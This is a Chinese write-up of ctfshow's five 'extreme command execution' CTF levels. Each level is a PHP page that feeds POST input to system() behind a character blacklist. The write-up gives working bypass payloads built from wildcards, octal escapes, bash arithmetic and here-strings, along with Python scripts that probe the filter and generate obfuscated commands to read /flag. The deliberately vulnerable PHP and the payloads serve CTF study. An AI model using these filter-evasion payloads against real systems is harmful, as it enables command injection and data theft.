CTFSHOW 极限命令执行1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflag
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",$ctfshow)){
system($ctfshow);
}else{
echo("????????");
}
}
?>
// 可用字符: ! $ ' ( ) , . / 0 1 2 3 4 5 6 7 8 9 = ? \ a ~

可以用通配符执行命令

1
2
3
payload1:ctf_show=/?????a?	# /getflag
payload2:ctf_show=/???/?a??64 /??a? # /bin/base64 /flag
payload3: ctf_show=/???/???/?a??64 /??a? # /usr/bin/base64 /flag

CTFSHOW 极限命令执行2

1
2
3
4
5
6
7
8
9
10
11
<?php
//flag在根目录flag里,或者直接运行根目录getflag
error_reporting(0);
highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
check($ctfshow);
system($ctfshow);
}

检测过滤脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import string

alpha = string.printable
t = ''
for i in alpha:

data = {"ctf_show":i}
res = requests.post("http://1b8d2008-3f7a-4db6-82fb-aef9af5e8893.challenge.ctf.show/", data=data)
if not res.text.endswith('?'):
t+=i+' '
print(t)
# 0 1 2 3 4 5 6 7 8 9 ! # $ & ' ( ) < \ _ { } ~

过滤了问号 这里使用8进制数字编码

1
2
3
4
$ echo $'\154\163'
ls
$ printf '\154\163'
$ $'\154\163' # 相当于执行ls

CTFSHOW 极限命令执行3

1
2
3
4
5
6
7
8
9
10
11
<?php
//flag在根目录flag里

highlight_file(__FILE__);
include "check.php";

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
check($ctfshow);
system($ctfshow);
}

检测过滤脚本得到可用字符0 1 ! # $ & ' ( ) < \ _ { } ~

数字只有0和1可用 想着能不能通过二进制来构造 bash中$(())可以进行数学运算 $((2#101...))将二进制串解释为十进制

1
2
3
4
$ echo $((1*3))
3
$ echo $((2#101))
5

那么我们可以通过二进制构造不同数字,再通过数字编码来执行命令

但是2也是不可用的,怎么办呢?同样可以通过数学运算得来:$((1<<1))$((2#101...)) -> $(($((1<<1))#101...))

接着就可以构造数字编码了,以ls为例对应八进制数字编码为 ‘\154\163’

1
2
3
4
5
6
7
8
$ echo $(($((1<<1))#101))
5
$ echo \'\\$(($((1<<1))#10011010))\' # 注意'和\都要转义
'\154'
$ echo \'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
'\154\163'
$ $\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
$'\154\163': command not found

发现虽然成功解析出,但没有进一步解释执行 这里需要用到两个知识

1
2
1. <<<三个小于号(here-strings),语法:command [args] <<<["]$word["];$word会展开并作为command的stdin
2. $0 即为bash

那么将输出作为bash的stdin即可解释执行,发送payload后也可以看到成功执行

1
2
3
$ $0<<<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'	  # ls

check.php index.php

二进制命令脚本

1
2
3
4
5
6
7
8
9
cmd='ls'
res = "$0<<<$\\'" # res = "$0<<<$0\\<\\<\\<\\$\\'"
for i in cmd:
t = int(oct(ord(i))[2:], 10)
t = bin(t)
res +="\\\\$(($((1<<1))#" + t[2:] + "))"

res += "\\'"
print(res)

若是执行cat /flag 则会报错

1
2
$ $0<<<$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'
bash: line 1: cat /flag: No such file or directory

这是因为bash执行不了带参数的命令 会将cat /flag整个字符串当成命令执行,所以找不到该文件

那么可以使用两次here-strings来解决

1
2
3
$ $0<<<$0\<\<\<\$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'

{{{{{flag here I am !!!!}}}}}

CTFSHOW 极限命令执行4

可用字符0 ! # $ & ' ( ) < \ _ { } ~

字符1也被过滤了,那就想有没有办法构造字符1

补充知识: $ = 1 因此可以用$来代替1

1
2
3
4
5
6
7
8
9
10
11
12
cmd='cat /flag'
res = "$0<<<$0\\<\\<\\<\\$\\'"
for i in cmd:
t = int(oct(ord(i))[2:], 10)
t = bin(t)
res +="\\\\$(($((1<<1))#" + t[2:] + "))"

res += "\\'"

res = res.replace('1', "${##}")
print(res)
# $0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'

成功执行得到flag

CTFSHOW 极限命令执行5

可用字符! $ & ' ( ) < = \ _ { } ~

字符0, #也不能用了 这里继续使用数学运算得到各数字 $(())会计算括号中的表达式得到结果

1
2
3
4
5
6
7
8
9
10
$ echo $(())
0
$ echo $((~$(()))) # $((~0))
-1
$ echo $((~$(())))$((~$(())))
-1-1
$ echo $(($((~$(())))$((~$(()))))) # $((-1-1))
-2
$ echo $((~$(($((~$(())))$((~$(()))))))) # $((~(-2)))
1

由此 我们可以不用数字来构造命令 但是仍需要here-string来解释执行命令 但是0不可用,想着是否有别的替代方式

1
2
3
4
$ echo ${!#}
bash
$ echo ${!?}
bash

可见这两种都可以充当bash,但是#, ?被过滤

!功能一览:

1
2
3
4
5
6
7
8
9
10
11
!!	# 上一条命令
!$ # 上一条命令中的最后一个参数
!:- # 上一命令除了最后一个参数
!* # 上一条命令中的所有参数
!str # 最近一条以str开头的命令
!?str? # 最近一条包含str的命令
!n # 顺数第n条命令
!-n # 倒数第n条命令
^old^new # 将上一命令中的old替换为new
!!:gs/old/new # 将上一命令中的old替换为new
!scp:gs/old/new # 将上一scp命令中的old替换为new

那么有

1
2
3
4
5
6
7
8
9
10
11
12
$ __=$(())&&echo $__
0
$ !__
__=$(())&&echo $__ # 此处__开头的命令被再次执行
0

$ __=$(())
$ echo ${!__}
bash

$ __=$(())&&${!__}<<<whoami
root

即可以用__=$(())&&${!__}来代替$0

构造脚本

1
2
3
4
5
6
7
8
9
10
cmd='cat /flag'
res = "__=$(())&&${!__}<<<${!__}\\<\\<\\<\\$\\'"
for i in cmd:
t = int(oct(ord(i))[2:], 10)

res +="\\\\$((~$((" + "$((~$(())))" * (t + 1) + "))))" # 这里重复-1-1-1...然后计算凑成目标数

res += "\\'"

print(res)
1
ctf_show=__=$(())%26%26${!__}<<<${!__}\<\<\<\$\'\\$((.........))\'		# 注意&&要url编码

构造脚本2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#level5
url="http://15a309e4-9e6d-4a18-8767-7be0a1efdfa9.challenge.ctf.show/"
cmd='ls'
r = {}

x='$((~$(())))' #-1

for i in range(1,9):
r[i]='$((~$(('+x
for j in range(i):
r[i]+=x
r[i]+='))))'

r[0]='$(())'

payload='__=$(())&&${!__}<<<${!__}\\<\\<\\<\\$\\\''
for c in cmd:
payload+='\\\\'
for i in oct(ord(c))[2:]:
payload+=r[int(i)]

payload+='\\\''
print(payload)

# 或者也可以先用记录各个数字字符 然后拼凑, 如
# ___=$((~$(($((~$(())))$((~$(())))))))&&____=$((~$(($((~$(())))$((~$(())))$((~$(())))))))&&_____=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))&&______=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))&&_______=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))&&________=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))&&_________=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))&&__________=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))&&___________=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
# 相当于___=1,____=2,...
# &&$0<<<$\'\\$___$_______$______\\$___$________$_____\' # 执行了ls $'\154\163'
⬆︎TOP